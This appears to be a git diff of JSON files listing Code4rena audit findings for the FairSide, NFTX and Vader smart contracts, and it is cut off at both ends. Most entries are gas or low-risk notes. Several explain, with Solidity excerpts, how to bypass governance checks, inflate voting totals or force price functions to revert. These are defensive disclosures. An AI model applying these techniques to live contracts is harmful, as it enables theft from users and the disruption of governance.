Vulnerability details ## Impact The function `withdraw` in the contract `Withdrawable` uses the Solidity keyword, `transfer`, which is unrecommended since it forwards a fixed amount of 2300 gas to the recipient. The gas cost of opcodes may change during hard forks in the future and thus break the functionalities of existing deployed contracts. ## Proof of Concept Referenced code: [Withdrawable.sol#L18](https://github.com/code-423n4/2021-05-fairside/blob/main/contracts/dependencies/Withdrawable.sol#L18) Please refer to the following references for more details: [Solidity issue - Remove .send and .transfer](https://github.com/ethereum/solidity/issues/7455) [Stop Using Solidity's transfer() Now](https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/) ## Recommended Mitigation Steps Use `.call{value: 1 ether}(\"\")` instead of `transfer` or `send`. Besides, since the `call` function forwards all gas to the recipient, the contract should add protections (e.g., reentrancy guards) to prevent the recipient from reentering critical functions. "}, {"title": "Revert messages are wrong", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/64", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-05-fairside-findings", "body": "# Handle s1m0 # Vulnerability details ## Impact The following revert messages refer to a different function instead of the one where they actually are, making harder to understand the flow of the program in case of error. [l. 166](https://github.com/code-423n4/2021-05-fairside/blob/main/contracts/token/FSD.sol#L166) [l. 185](https://github.com/code-423n4/2021-05-fairside/blob/main/contracts/token/FSD.sol#L185) [l. 254](https://github.com/code-423n4/2021-05-fairside/blob/main/contracts/token/FSD.sol#L254) ## Recommended Mitigation Steps Set the messages with the correct function name. "}, {"title": "convictionless mapping is not used", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/61", "labels": ["bug", "question", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-05-fairside-findings", "body": "# Handle pauliax # Vulnerability details ## Impact convictionless can be set via function setConvictionless, however, it is not used anywhere across the system, thus making it useless. Based on the comment above this variable, I expect to see it used in functions like _updateConvictionScore. ## Recommended Mitigation Steps Either remove this mapping or use it where intended. "}, {"title": "lack of input validation of id in getConvictionScore(){}", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/60", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-05-fairside-findings", "body": "lack of input validation of id in getConvictionScore(){}"}, {"title": "Check if variables are initialized", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/59", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-05-fairside-findings", "body": "Check if variables are initialized"}, {"title": "Gas optimizations - Use external instead of public", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/57", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-05-fairside-findings", "body": "Gas optimizations - Use external instead of public"}, {"title": "Gas optimizations - Reduce reads in purchaseMembership method", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/55", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "resolved"], "target": "2021-05-fairside-findings", "body": "# Handle a_delamo # Vulnerability details ## Impact The method `purchaseMembership` in `FSDNetwork` contract contains the code below. Inside this method, we are constantly reading from the mapping `membership`, so why not use just one read `Membership userMembership = membership[msg.sender]` and use this instance for everything related to memberships. Each read we are currently doing has an impact on the gas cost. ``` function purchaseMembership(uint256 costShareBenefit) external { require( costShareBenefit % 10 ether == 0 && costShareBenefit > 0, \"FSDNetwork::purchaseMembership: Invalid cost share benefit specified\" ); if ( membership[msg.sender].creation + MEMBERSHIP_DURATION < block.timestamp ) { membership[msg.sender].creation = 0; membership[msg.sender].availableCostShareBenefits = 0; } uint256 totalCostShareBenefit = membership[msg.sender].availableCostShareBenefits.add( costShareBenefit ); require( totalCostShareBenefit <= getMaximumBenefitPerUser(), \"FSDNetwork::purchaseMembership: Exceeds cost share benefit limit per account\" ); totalCostShareBenefits = totalCostShareBenefits.add(costShareBenefit); // FSHARE = Total Available Cost Share Benefits / Gearing Factor uint256 fShare = totalCostShareBenefits / GEARING_FACTOR; // Floor of 7500 ETH if (fShare < 7500 ether) fShare = 7500 ether; // FSHARERatio = Capital Pool / FSHARE (scaled by 1e18) uint256 fShareRatio = (fsd.getReserveBalance() - totalOpenRequests).mul(1 ether) / fShare; // 1 ether = 100% require( fShareRatio >= 1 ether, \"FSDNetwork::purchaseMembership: Insufficient Capital to Cover Membership\" ); uint256 membershipFee = costShareBenefit.wmul(MEMBERSHIP_FEE); uint256 fsdSpotPrice = getFSDPrice(); uint256 fsdFee = membershipFee.wdiv(fsdSpotPrice); // Automatically locks 65% to the Network by disallowing its retrieval fsd.safeTransferFrom(msg.sender, address(this), fsdFee); if (membership[msg.sender].creation == 0) { membership[msg.sender] .availableCostShareBenefits = totalCostShareBenefit; membership[msg.sender].creation = block.timestamp; membership[msg.sender].gracePeriod = membership[msg.sender].creation + MEMBERSHIP_DURATION + 60 days; } else { membership[msg.sender] .availableCostShareBenefits = totalCostShareBenefit; uint256 elapsedDurationPercentage = ((block.timestamp - membership[msg.sender].creation) * 1 ether) / MEMBERSHIP_DURATION; if (elapsedDurationPercentage < 1 ether) { uint256 durationIncrease = (costShareBenefit.mul(1 ether) / (totalCostShareBenefit - costShareBenefit)) .mul(MEMBERSHIP_DURATION) / 1 ether; membership[msg.sender].creation += durationIncrease; } } uint256 governancePoolRewards = fsdFee.wmul(GOVERNANCE_FUNDING_POOL_REWARDS); // Staking Rewards = 20% + [FSHARERatio - 125%] (if FSHARERatio > 125%) uint256 stakingMultiplier = fShareRatio >= 1.25 ether ? STAKING_REWARDS + fShareRatio - 1.25 ether : STAKING_REWARDS; // Maximum of 75% as we have 15% distributed to governance + funding pool if (stakingMultiplier > 0.75 ether) stakingMultiplier = 0.75 ether; uint256 stakingRewards = fsdFee.wmul(stakingMultiplier); // 20% as staking rewards fsd.safeTransfer(address(fsd), stakingRewards); fsd.addRegistrationTribute(stakingRewards); // 7.5% towards governance fsd.safeTransfer(address(fsd), governancePoolRewards); fsd.addRegistrationTributeGovernance(governancePoolRewards); // 7.5% towards funding pool fsd.safeTransfer(FUNDING_POOL, governancePoolRewards); } ``` "}, {"title": "Gas optimizations - checkpoints from ERC20ConvictionScore", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/54", "labels": ["bug", "question", "G (Gas Optimization)"], "target": "2021-05-fairside-findings", "body": "Gas optimizations - checkpoints from ERC20ConvictionScore"}, {"title": "`ERC20ConvictionScore.acquireConviction` implements wrong governance checks", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/45", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "resolved"], "target": "2021-05-fairside-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details There are two issues with the governance checks when acquiring them from an NFT: #### Missing balance check The governance checks in `_updateConvictionScore` are: ```solidity !isGovernance[user] && userConvictionScore >= governanceThreshold && balanceOf(user) >= governanceMinimumBalance; ``` Whereas in `acquireConviction`, only `userConvictionScore >= governanceThreshold` is checked but not `&& balanceOf(user) >= governanceMinimumBalance`. ```solidity else if ( !isGovernance[msg.sender] && userNew >= governanceThreshold ) { isGovernance[msg.sender] = true; } ``` #### the `wasGovernance` might be outdated The second issue is that at the time of NFT creation, the `governanceThreshold` or `governanceMinimumBalance` was different and would not qualify for a governor now. The NFT's governance state is blindly appplied to the new user: ```solidity if (wasGovernance && !isGovernance[msg.sender]) { isGovernance[msg.sender] = true; } ``` This allows a user to circumvent any governance parameter changes by front-running the change with an NFT creation. ## Impact It's easy to circumvent the balance check to become a governor by minting and redeeming your own NFT. One can also circumvent any governance parameter increases by front-running these actions with an NFT creation and backrunning with a redemption. ## Recommended Mitigation Steps Add the missing balance check in `acquireConviction`. Remove the `wasGovernance` governance transfer from the NFT and solely recompute it based on the current `governanceThreshold` / `governanceMinimumBalance` settings. "}, {"title": "`ERC20ConvictionScore` allows transfers to special TOTAL_GOVERNANCE_SCORE address", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/42", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "disagree with severity", "resolved"], "target": "2021-05-fairside-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The credit score of the special `address(type(uint160).max)` is supposed to represent the sum of the credit scores of all users that are governors. But any user can directly transfer to this address increasing its balance and accumulating a credit score in `_updateConvictionScore(to=address(uint160.max), amount)`. It'll first write a snapshot of this address' balance which should be very low: ```solidity // in _updateConvictionScore _writeCheckpoint(user, userNum, userNew) = _writeCheckpoint(TOTAL_GOVERNANCE_SCORE, userNum, checkpoints[user][userNum - 1].convictionScore + convictionDelta); ``` This address then accumulates a score based on its balance which can be updated using `updateConvictionScore(uint160.max)` and breaks the invariant. ## Impact Increasing it might be useful for non-governors that don't pass the voting threshold and want to grief the proposal voting system by increasing the `quorumVotes` threshold required for proposals to pass. (by manipulating `FairSideDAO.totalVotes`). `totalVotes` can be arbitrarily inflated and break the voting mechanism as no proposals can reach the quorum (percentage of `totalVotes`) anymore. ## Recommended Mitigation Steps Disallow transfers from/to this address. Or better, track the total governance credit score in a separate variable, not in an address. "}, {"title": "`ERC20ConvictionScore._updateConvictionScore` uses stale credit score for `governanceDelta`", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/41", "labels": ["bug", "question", "3 (High Risk)", "sponsor confirmed", "disagree with severity", "resolved"], "target": "2021-05-fairside-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details In `ERC20ConvictionScore._updateConvictionScore`, when the user does not fulfill the governance criteria anymore, the `governanceDelta` is the old conviction score of the previous block. ```solidity isGovernance[user] = false; governanceDelta = getPriorConvictionScore( user, block.number - 1 ); ``` The user could increase their conviction / governance score first in the same block and then lose their status in a second transaction, and the total governance conviction score would only be reduced by the previous score. Example: Block n - 10000: User is a governor and has a credit score of 1000 which was also contributed to the `TOTAL_GOVERNANCE_SCORE` Block n: - User updates their own conviction score using public `updateConvictionScore` function which increases the credit score by 5000 based on the accumulated time. The total governance credit score increased by 5000, making the user contribute 6000 credit score to governance in total. - User transfers their whole balance away, the balance drops below `governanceMinimumBalance` and user is not a governor anymore. The `governanceDelta` update of the transfer should be 6000 (user's whole credit score) but it's only `1000` because it takes the snapshot of block n - 1. ## Impact The `TOTAL_GOVERNANCE_SCORE` score can be inflated this way and break the voting mechanism in the worst case as no proposals can reach the quorum (percentage of `totalVotes`) anymore. ## Recommended Mitigation Steps Use the current conviction store which should be `governanceDelta = checkpoints[user][userCheckpointsLength - 1].convictionScore` "}, {"title": "`ERC20ConvictionScore`'s `governanceDelta` should be subtracted when user is not a governor anymore", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/40", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "resolved"], "target": "2021-05-fairside-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `TOTAL_GOVERNANCE_SCORE` is supposed to track the sum of the credit scores of all governors. In `ERC20ConvictionScore._updateConvictionScore`, when the user does not fulfill the governance criteria anymore and is therefore removed, the `governanceDelta` should be negative but it's positive. ```solidity isGovernance[user] = false; governanceDelta = getPriorConvictionScore( user, block.number - 1 ); ``` It then gets added to the new total: ```solidity uint224 totalGCSNew = add224( totalGCSOld, governanceDelta, \"ERC20ConvictionScore::_updateConvictionTotals: conviction score amount overflows\" ); ``` ## Impact The `TOTAL_GOVERNANCE_SCORE` tracks wrong data leading to issues throughout all contracts like wrong `FairSideDAO.totalVotes` data which can then be used for anyone to pass proposals in the worst case. Or `totalVotes` can be arbitrarily inflated and break the voting mechanism as no proposals can reach the quorum (percentage of `totalVotes`) anymore. ## Recommended Mitigation Steps Return a negative, signed integer for this case and add it to the new total. "}, {"title": "`validateVoteHash` does not confirm the vote result", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/37", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-05-fairside-findings", "body": "`validateVoteHash` does not confirm the vote result"}] \ No newline at end of file diff --git a/results/codearena_findings_10.json b/results/codearena_findings_10.json new file mode 100644 index 0000000..9ea2b98 --- /dev/null +++ b/results/codearena_findings_10.json @@ -0,0 +1 @@ +[{"title": "Unnecessary check for a condition ", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/49", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Unnecessary check for a condition "}, {"title": "isContract() code is duplicated in multiple files ", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/48", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "isContract() code is duplicated in multiple files "}, {"title": "`buyAndSwap1155WETH` Does Not Work As Intended", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/45", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle leastwood # Vulnerability details ## Impact The `buyAndSwap1155WETH` function in `NFTXMarketplaceZap` aims to facilitate buying and swapping `ERC1155` tokens within a single transaction. The function expects to transfer `WETH` tokens from the `msg.sender` account and use these tokens in purchasing vault tokens. However, the `_buyVaultToken` call in `buyAndSwap1155WETH` actually uses `msg.value` and not `maxWethIn`. As a result, the function will not work unless the user supplies both `WETH` and native `ETH` amounts, equivalent to the `maxWethIn` amount. ## Proof of Concept https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXMarketplaceZap.sol#L284-L314 ``` function buyAndSwap1155WETH( uint256 vaultId, uint256[] memory idsIn, uint256[] memory amounts, uint256[] memory specificIds, uint256 maxWethIn, address[] calldata path, address to ) public payable nonReentrant { require(to != address(0)); require(idsIn.length != 0); IERC20Upgradeable(address(WETH)).transferFrom(msg.sender, address(this), maxWethIn); uint256 count; for (uint256 i = 0; i < idsIn.length; i++) { uint256 amount = amounts[i]; require(amount > 0, \"Transferring < 1\"); count += amount; } INFTXVault vault = INFTXVault(nftxFactory.vault(vaultId)); uint256 redeemFees = (vault.targetSwapFee() * specificIds.length) + ( vault.randomSwapFee() * (count - specificIds.length) ); uint256[] memory swapAmounts = _buyVaultToken(address(vault), redeemFees, msg.value, path); _swap1155(vaultId, idsIn, amounts, specificIds, to); emit Swap(count, swapAmounts[0], to); // Return extras. uint256 remaining = WETH.balanceOf(address(this)); WETH.transfer(to, remaining); } ``` ## Tools Used Manual code review. Discussions with Kiwi. ## Recommended Mitigation Steps Consider updating the `buyAndSwap1155WETH` function such that the following line of code is used instead of [this](https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXMarketplaceZap.sol#L306). ``` uint256[] memory swapAmounts = _buyVaultToken(address(vault), redeemFees, maxWethIn, path); ``` "}, {"title": "Inconsistency in fee distribution", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/41", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Inconsistency in fee distribution"}, {"title": "transfer return value is ignored", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/40", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle robee # Vulnerability details Need to use safeTransfer instead of transfer. As there are popular tokens, such as USDT that transfer/trasnferFrom method doesn\u2019t return anything. The transfer return value has to be checked (as there are some other tokens that returns false instead revert), that means you must 1. Check the transfer return value Another popular possibility is to add a whiteList. Those are the appearances (solidity file, line number, actual line): NFTXStakingZap.sol, 401, IERC20Upgradeable(vault).transfer(to, minTokenIn-amountToken); NFTXStakingZap.sol, 474, IERC20Upgradeable(token).transfer(msg.sender, IERC20Upgradeable(token).balanceOf(address(this))); PalmNFTXStakingZap.sol, 190, pairedToken.transferFrom(msg.sender, address(this), wethIn); PalmNFTXStakingZap.sol, 195, pairedToken.transfer(to, wethIn-amountEth); PalmNFTXStakingZap.sol, 219, pairedToken.transferFrom(msg.sender, address(this), wethIn); PalmNFTXStakingZap.sol, 224, pairedToken.transfer(to, wethIn-amountEth); PalmNFTXStakingZap.sol, 316, IERC20Upgradeable(vault).transfer(to, minTokenIn-amountToken); XTokenUpgradeable.sol, 54, baseToken.transfer(who, what); NFTXFlashSwipe.sol, 51, IERC20Upgradeable(vault).transferFrom(msg.sender, address(this), mintFee + targetRedeemFee); "}, {"title": "Missing non reentrancy modifier", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/37", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2021-12-nftx-findings", "body": "Missing non reentrancy modifier"}, {"title": "Two Steps Verification before Transferring Ownership", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/36", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Two Steps Verification before Transferring Ownership"}, {"title": "Named return issue", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/34", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Named return issue"}, {"title": "Init frontrun", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/33", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Init frontrun"}, {"title": "safeApprove of openZeppelin is deprecated", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/31", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "safeApprove of openZeppelin is deprecated"}, {"title": "Require with not comprehensive message", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/30", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Require with not comprehensive message"}, {"title": "Require with empty message", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/29", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Require with empty message"}, {"title": "Unnecessary array boundaries check when loading an array element twice", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/25", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Unnecessary array boundaries check when loading an array element twice"}, {"title": "Public functions to external", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/23", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Public functions to external"}, {"title": "Storage double reading. Could save SLOAD", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/22", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Storage double reading. Could save SLOAD"}, {"title": "Short the following require messages", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/21", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Short the following require messages"}, {"title": "Use bytes32 instead of string to save gas whenever possible", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/20", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Use bytes32 instead of string to save gas whenever possible"}, {"title": "Unused imports", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/19", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "Unused imports"}, {"title": "DOS on withdrawal", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/13", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "DOS on withdrawal"}, {"title": "Gas savings", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/11", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Gas savings"}, {"title": "Gas saving by using mapping instead of computeAddress", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/7", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Gas saving by using mapping instead of computeAddress"}, {"title": "Gas saving by storing modulesCopy.length in local variable", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/5", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Gas saving by storing modulesCopy.length in local variable"}, {"title": "buyAndSwap1155WETH() function may cause loss of user assets", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/2", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle cccz # Vulnerability details ## Impact In the NFTXMarketplaceZap.sol contract, the buyAndSwap1155WETH function uses the WETH provided by the user to exchange VaultToken, but when executing the _buyVaultToken method, msg.value is used instead of maxWethIn. Since msg.value is 0, the call will fail. ``` function buyAndSwap1155WETH( uint256 vaultId, uint256[] memory idsIn, uint256[] memory amounts, uint256[] memory specificIds, uint256 maxWethIn, address[] calldata path, address to ) public payable nonReentrant { require(to != address(0)); require(idsIn.length != 0); IERC20Upgradeable(address(WETH)).transferFrom(msg.sender, address(this), maxWethIn); uint256 count; for (uint256 i = 0; i 0, \"Transferring <1\"); count += amount; } INFTXVault vault = INFTXVault(nftxFactory.vault(vaultId)); uint256 redeemFees = (vault.targetSwapFee() * specificIds.length) + ( vault.randomSwapFee() * (count-specificIds.length) ); uint256[] memory swapAmounts = _buyVaultToken(address(vault), redeemFees, msg.value, path); ``` In extreme cases, when the user provides both ETH and WETH (the user approves the contract WETH in advance and calls the buyAndSwap1155WETH function instead of the buyAndSwap1155 function by mistake), the _buyVaultToken function will execute successfully, but because the buyAndSwap1155WETH function will not convert ETH to WETH, The user\u2019s ETH will be locked in the contract, causing loss of user assets. ``` function _buyVaultToken( address vault, uint256 minTokenOut, uint256 maxWethIn, address[] calldata path ) internal returns (uint256[] memory) { uint256[] memory amounts = sushiRouter.swapTokensForExactTokens( minTokenOut, maxWethIn, path, address(this), block.timestamp ); return amounts; } ``` ## Tools Used Manual audit ## Recommended Mitigation Steps ``` - uint256[] memory swapAmounts = _buyVaultToken(address(vault), redeemFees, msg.value, path); + uint256[] memory swapAmounts = _buyVaultToken(address(vault), redeemFees, maxWethIn, path); ``` "}, {"title": "Shorter revert messages", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/188", "labels": ["bug", "duplicate", "G (Gas Optimization)", "sponsor acknowledged", "LiquidityBasedTWAP"], "target": "2021-12-vader-findings", "body": "Shorter revert messages"}, {"title": "Avoid repeated calculations", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/187", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "LiquidityBasedTWAP"], "target": "2021-12-vader-findings", "body": "Avoid repeated calculations"}, {"title": "_addUSDVPair can also update", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/185", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "LiquidityBasedTWAP"], "target": "2021-12-vader-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function _addUSDVPair does not check if the foreignAsset does not exist yet, thus it is possible to override it. ## Recommended Mitigation Steps Make sure this is the intended behavior or else add validations, e.g. ```solidity require(pairData.updatePeriod == 0, \"...\"); ``` "}, {"title": "Open TODOs in Codebase", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/183", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-12-vader-findings", "body": "Open TODOs in Codebase"}, {"title": "setGasThrottle function should be moved to BasePoolV2", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/181", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "VaderPoolV2", "BasePoolV2"], "target": "2021-12-vader-findings", "body": "setGasThrottle function should be moved to BasePoolV2"}, {"title": "Using single total native reserve variable for synth and non-synth reserves of VaderPoolV2 can lead to losses for synth holders", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/179", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged", "VaderPoolV2"], "target": "2021-12-vader-findings", "body": "Using single total native reserve variable for synth and non-synth reserves of VaderPoolV2 can lead to losses for synth holders"}, {"title": "VaderPoolV2 doesn't implement queue system yet", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/178", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "VaderPoolV2"], "target": "2021-12-vader-findings", "body": "VaderPoolV2 doesn't implement queue system yet"}, {"title": "Redundant Constant Inheritance", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/176", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "LPWrapper"], "target": "2021-12-vader-findings", "body": "Redundant Constant Inheritance"}, {"title": "Changing function visibility from public to external can save gas", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/175", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "VaderPoolV2"], "target": "2021-12-vader-findings", "body": "Changing function visibility from public to external can save gas"}, {"title": "Incorrect descriptions of BasePoolV2's _onlyRouter and _supportedToken", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/172", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "BasePoolV2"], "target": "2021-12-vader-findings", "body": "Incorrect descriptions of BasePoolV2's _onlyRouter and _supportedToken"}, {"title": "Open Discussion That Hint Potential Security Problem Should be Avoided", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/167", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "LiquidityBasedTWAP"], "target": "2021-12-vader-findings", "body": "Open Discussion That Hint Potential Security Problem Should be Avoided"}, {"title": "`USDV.sol` Mint and Burn Amounts Are Incorrect", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/164", "labels": ["bug", "3 (High Risk)", "sponsor disputed", "USDV"], "target": "2021-12-vader-findings", "body": "`USDV.sol` Mint and Burn Amounts Are Incorrect"}, {"title": "Adding pair of the same `foreignAsset` would replace oracle of earlier entry", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/160", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "LiquidityBasedTWAP"], "target": "2021-12-vader-findings", "body": "# Handle gzeon # Vulnerability details ## Impact Oracles are mapped to the `foreignAsset` but not to the specific pair. Pairs with the same `foreignAsset` (e.g. UniswapV2 and Sushi) will be forced to use the same oracle. Generally this should be the expected behavior but there are also possibility that while adding a new pair changed the oracle of an older pair unexpectedly. ## Proof of Concept https://github.com/code-423n4/2021-12-vader/blob/9fb7f206eaff1863aeeb8f997e0f21ea74e78b49/contracts/lbt/LiquidityBasedTWAP.sol#L271 ``` oracles[foreignAsset] = oracle; ``` ## Recommended Mitigation Steps Bind the oracle to pair instead "}, {"title": "`uint a = b++;` is a confusing syntax and can be gas-optimized", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/157", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "BasePoolV2"], "target": "2021-12-vader-findings", "body": "`uint a = b++;` is a confusing syntax and can be gas-optimized"}, {"title": "Keccak functions in constants waste gas", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/152", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "GovernorAlpha"], "target": "2021-12-vader-findings", "body": "Keccak functions in constants waste gas"}, {"title": "Missing boundary check in USDV.sol", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/151", "labels": ["bug", "G (Gas Optimization)", "USDV"], "target": "2021-12-vader-findings", "body": "Missing boundary check in USDV.sol"}, {"title": "Vader TWAP averages wrong", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/148", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "LiquidityBasedTWAP"], "target": "2021-12-vader-findings", "body": "# Handle cmichel # Vulnerability details The vader price in `LiquidityBasedTWAP.getVaderPrice` is computed using the `pastLiquidityWeights` and `pastTotalLiquidityWeight` return values of the `syncVaderPrice`. The `syncVaderPrice` function does not initialize all weights and the total liquidity weight does not equal the sum of the individual weights because it skips initializing the pair with the previous data if the TWAP update window has not been reached yet: ```solidity function syncVaderPrice() public override returns ( uint256[] memory pastLiquidityWeights, uint256 pastTotalLiquidityWeight ) { uint256 _totalLiquidityWeight; uint256 totalPairs = vaderPairs.length; pastLiquidityWeights = new uint256[](totalPairs); pastTotalLiquidityWeight = totalLiquidityWeight[uint256(Paths.VADER)]; for (uint256 i; i < totalPairs; ++i) { IUniswapV2Pair pair = vaderPairs[i]; ExchangePair storage pairData = twapData[address(pair)]; // @audit-info lastMeasurement is set in _updateVaderPrice to block.timestamp uint256 timeElapsed = block.timestamp - pairData.lastMeasurement; // @audit-info update period depends on pair // @audit-issue if update period not reached => does not initialize pastLiquidityWeights[i] if (timeElapsed < pairData.updatePeriod) continue; uint256 pastLiquidityEvaluation = pairData.pastLiquidityEvaluation; uint256 currentLiquidityEvaluation = _updateVaderPrice( pair, pairData, timeElapsed ); pastLiquidityWeights[i] = pastLiquidityEvaluation; pairData.pastLiquidityEvaluation = currentLiquidityEvaluation; _totalLiquidityWeight += currentLiquidityEvaluation; } totalLiquidityWeight[uint256(Paths.VADER)] = _totalLiquidityWeight; } ``` #### POC This bug leads to several different issues. A big one is that an attacker can break the price functions and make them revert. Observe what happens if an attacker calls `syncVaderPrice` twice in the same block: - The first time any pairs that need to be updated are updated - On the second call `_totalLiquidityWeight` is initialized to zero and all pairs have already been updated and thus skipped. `_totalLiquidityWeight` never increases and the storage variable `totalLiquidityWeight[uint256(Paths.VADER)] = _totalLiquidityWeight = 0;` is set to zero. - DoS because calls to `getStaleVaderPrice` / `getVaderPrice` will revert in `_calculateVaderPrice` which divides by `totalLiquidityWeight = 0`. Attacker keeps double-calling 